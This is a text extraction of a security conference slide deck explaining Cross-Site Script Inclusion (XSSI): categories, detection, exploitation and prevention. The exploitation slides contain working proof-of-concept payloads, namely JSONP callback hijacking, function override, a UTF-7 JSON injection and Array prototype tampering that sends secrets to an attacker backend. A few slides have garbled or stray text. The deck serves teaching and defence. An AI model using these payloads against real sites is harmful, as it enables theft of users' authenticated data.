Once upon a time...
... but all was not good
Scripts (and JSONP) don’t fall under the same strict SOP and can be included cross-domain, which is why we have
XSSI

The Tale of a Fameless but Widespread Vulnerability

Veit Hailperin
@fenceposterror
Wait what?

RESEARCH

AUDITING

CONSULTING
NOOO! XSSHowmany?

www.malicious.net

include script from

www.your-bank.com

leak data
What About Ambient Authority?

▸ Works just the same as with CSRF 😊

▸ Ambient Authority Information is sent cross-site

▸ Leaked Information gets more interesting…
Example
<!DOCTYPE html>
<html>
  <head>
    <title>XSSI</title>
  </head>
  <body>
    <script>
      function leak(leaked) {
        alert(JSON.stringify(leaked));
      }
    </script>
    <script src="https://example.com/p?jsonp=leak" type="text/javascript"></script>
  </body>
</html>
The Leak
You Said
Fameless?
We observe that a third of the surveyed sites utilize dynamic JavaScript. [...] more than 80% of the sites are susceptible to attacks via remote script inclusion.

- The Unexpected Dangers of Dynamic JavaScript, S. Lekies et al.
1. Categorizing XSSI
**Categorizing XSSi**

1. **Static Script / JSONP***
2. **Static JavaScript requiring Authentication**
3. **Dynamic JavaScript**
4. **Non-Script**

* If the JSONP requires parameters, these need to be guessable.
2. Finding XSSI
Finding XSSI Category 1

- Read the Code
- Grep for
  - Public Keys
  - Social Security Numbers
  - Credit Card Numbers

server has been running for more than an hour
and email using these settings, rather than locking
this definition if you want to use this feature.
Finding XSSI Category 2 and 3

Re-Request the JavaScript file without authentication and check if response is script

- Yes

Does the answer differ from the original?

- No
  - Script requires authentication
- Yes

Re-Request the JavaScript file check if answer differs again

- No
  - Script not dynamic
- Yes

Script probably generally dynamic
These issues are related to browser security

Server Response

```javascript
[{ 'friend': 'luke', 'email': '+ACcAfQbdA0sAYQBxAUAcgB0ACgAJw
BNAGEAeQAgAHQaABlACAAZgBv
AHIAYwBLACAYgB1ACAAdw
BpAHQaaA AgAhkAbwBlACCqkQA7
AFsAewAnAGoAb
wBiACCqOgAnAGQAbwBuAGU-' }]
```

Which translates to

```javascript
[{ 'friend': 'luke', 'email': '' }];alert('May the force be with you');[{ 'job': 'done' }]
```

Malicious Website

```html
<html>
<body>
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
</body>
</html>
```

http://www.thespanner.co.uk/2011/05/30/json-hijacking/
2. Exploiting XSSI
```javascript
var
    privateKey = "-----BEGIN RSA PRIVATE KEY-----"
MIIEowIBAAKCAQEAvq7kdxjZq4naHB8jNTMrFsiSKhmP8sPWO0isS5EK/c+evyT\[redacted]\n9abcosxptnnP286cyq7yhYysfe5HqODAWZJp5SGFPKqiIWE1MBur\----END RSA PRIVATE KEY-----",
    keys = [
        { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
        { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
    ];

some.js
```
Case: Function Override

```javascript
var angular = function () { return 1; }
angular.callbacks = function () { return 1; }
angular.callbacks.7 = function (leaked) {
    alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks.7" type="text/javascript"></script>
```
Case: Provide Callback

```
angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
```

```
<script>
gimmethatdata = function (leaked) {
    alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=gimmethatdata" type="text/javascript"></script>
```
Case: Prototype Tampering

```javascript
(function(){
    var arr = ['secret1', 'secret2', 'secret3'];
    // intents to slice out first entry
    var x = arr.slice(1);
    ...
})();
```

```javascript
Array.prototype.slice = function(){
    // leaks ['secret1', 'secret2', 'secret3']
    sendToAttackerBackend(this);
};
```

Note: Example taken from S. Lekies paper
3. Preventing XSSI
Preventing XSSI

- No sensitive data in JavaScript files or JSONP cbs.
- Correct Content-Type
- X-Content-Type-Options: nosniff
- Anti-Cross-Site Request Forgery Token
- SameSite Cookie Attribute (draft!)
- Spread the word
- Report them
Links, References, Interesting Reads...

- http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/
- http://www.thespanner.co.uk/2011/05/30/json-hijacking/
- http://phrack.org/issues/69/12.html
- http://sebastian-lekies.de/leak/
- http://miladbr.blogspot.ch/2013/03/cross-site-script-inclusion.html
- http://www.scip.ch/en/?labs.20160414
Released **DetectDynamicJS** Burp Extension to make your life easier in finding **XSSI**

- Passive Scanner Module
- Filters for JSONP and Scripts
- It's in your Burp Store
- Currently only implemented for cookie

```
<table>
<thead>
<tr>
<th>Status</th>
<th>Body</th>
</tr>
</thead>
<tbody>
<tr>
<td>200</td>
<td><a href="mailto:ddjs@gmail.com">ddjs@gmail.com</a>, ...</td>
</tr>
</tbody>
</table>
```
Thanks for listening!

Questions?

@fenceposterror
veha@scip.ch